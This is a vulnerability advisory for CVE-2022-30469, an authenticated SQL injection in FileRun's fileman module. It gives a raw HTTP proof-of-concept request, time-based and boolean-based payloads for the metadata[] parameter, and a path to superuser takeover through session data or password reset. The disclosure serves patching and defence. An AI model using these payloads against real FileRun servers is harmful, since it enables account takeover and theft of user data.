CVE-2022-30469 - SQL-Injection (Afian Filerun)

CVE-ID: CVE-2022-30469

Affected Product: Filerun

Affected Versions: Update 20220202 (others untested)

Vulnerability: SQL-Injection

Vendor URL: https://filerun.com/

Status: Fixed in FileRun Update 20220519 (silently)

Severity: High

Description

With a normal user account, an attacker can inject custom SQL statements into the `metadata[]` parameter of the `fileman` module.

This allows access to user account data, filerun settings and session information. The impact of the complete exploit chain depends on the filerun setup. If the session information is not stored in files but in the "session" table, you can easily takeover the superuser account. If the SMTP settings match the email account of the super user, you may reset its password and fetch the reset mail.

Proof of Concept

```
POST /?module=fileman&section=get&page=grid HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 68
Origin: http://localhost
Connection: close
Referer: http://localhost/
Cookie: FileRunSID=c82f680f8892c8f5655923e2b5c4d6dc

metadata%5B%5D=13881157SQLiMe&path=%2FROOT%2FHOME
```

Payload used Timebased:

```
metadata%5b%5d=13881157')%20AND%20(SELECT%207003%20FROM%20(SELECT(SLEEP(5)))AGYO)%20
```

Payload used Boolean based:

```
metadata[]=13881157')+OR+NOT+('1111'='1111&path=/ROOT/HOME
```

The SQL-Statement where we inject:

```
SELECT * FROM df_modules_metadata_values WHERE ((file_id = '13') AND (field_id IN
('13881157') OR NOT '1111'='1111'))) ORDER BY id DESC
```